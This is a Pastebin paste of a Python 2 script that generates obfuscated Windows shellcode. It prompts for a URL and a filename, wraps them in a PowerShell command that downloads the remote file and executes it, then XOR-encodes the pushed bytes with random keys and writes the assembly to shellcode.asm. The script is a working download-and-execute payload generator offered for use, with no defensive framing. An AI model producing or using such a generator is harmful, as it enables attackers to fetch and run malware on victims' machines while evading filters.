Advertisement
Guest User

Untitled

a guest
Aug 29th, 2015
303
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.59 KB | None | 0 0
  1. import random,binascii
  2.  
  3. chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz123456789=[]-'
  4.  
  5. p1 = '''xor eax,eax
  6. push eax
  7. '''
  8. p2 = '''
  9. mov eax,esp
  10. mov ebx,0x01414141
  11. shr ebx,0x08
  12. shr ebx,0x08
  13. shr ebx,0x08
  14. push ebx
  15. push eax
  16. mov ebx,0x77b1e695
  17. call ebx
  18. mov ebx,0x77ae2acf
  19. call ebx
  20. '''
  21. sen1 = str(raw_input('Enter url\nExample: http://z3r0d4y.com/file.exe \nEnter:'))
  22. sen1 = sen1.rsplit()
  23. sen1 = sen1[0]
  24. sen2 = str(raw_input('Enter filename\nExample: D:\\file.exe\nEnter:'))
  25. sen2 = sen2.rsplit()
  26. sen2 = sen2[0]
  27. sen = '''powershell -command "& { (New-Object Net.WebClient).DownloadFile('%s', '%s')};%s"''' %(sen1,sen2,sen2)
  28. m = 0
  29. for word in sen:
  30. m += 1
  31. m = m - 1
  32. stack = ''
  33. while(m>=0):
  34. stack += sen[m]
  35. m -= 1
  36. stack = stack.encode('hex')
  37. skip = 1
  38. if len(stack) % 8 == 0:
  39. skip = 0
  40. if skip is 1:
  41. stack = '00' + stack
  42. if len(stack) % 8 == 0:
  43. skip = 0
  44. if skip is 1:
  45. stack = '00' + stack
  46. if len(stack) % 8 == 0:
  47. skip = 0
  48. if skip is 1:
  49. stack = '00' + stack
  50. if len(stack) % 8 == 0:
  51. skip = 0
  52. if len(stack) % 8 == 0:
  53. zxzxzxz = 0
  54. m = len(stack) / 8
  55. c = 0
  56. n = 0
  57. z = 8
  58. shf = open('shellcode.asm','w')
  59. shf.write(p1)
  60. shf.close()
  61. shf = open('shellcode.asm','a')
  62. while(c<m):
  63. v = 'push 0x' + stack[n:z]
  64. skip = 0
  65. if '0x000000' in v:
  66. skip = 1
  67. q1 = v[13:]
  68. v = 'push 0x' + q1 + '414141' + '\n' + 'pop eax\nshr eax,0x08\nshr eax,0x08\nshr eax,0x08\npush eax\n'
  69. if '0x0000' in v:
  70. skip = 1
  71. q1 = v[11:]
  72. v = 'push 0x' + q1 + '4141' + '\n' + 'pop eax\nshr eax,0x08\nshr eax,0x08\npush eax\n'
  73. if '0x00' in v:
  74. skip = 1
  75. q1 = v[9:]
  76. v = 'push 0x' + q1 + '41' + '\n' + 'pop eax\nshr eax,0x08\npush eax\n'
  77. if skip is 1:
  78. shf.write(v)
  79. if skip is 0:
  80. v = v.rsplit()
  81. zzz = ''
  82. for w in v:
  83. if '0x' in w:
  84. zzz = str(w)
  85. s1 = binascii.b2a_hex(''.join(random.choice(chars) for i in range(4)))
  86. s1 = '0x%s'%s1
  87. data = "%x" % (int(zzz, 16) ^ int(s1, 16))
  88. v = 'mov eax,0x%s\nmov ebx,%s\nxor eax,ebx\npush eax\n'%(data,s1)
  89. shf.write(v)
  90. n += 8
  91. z += 8
  92. c += 1
  93. shf.write(p2)
  94. shf.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement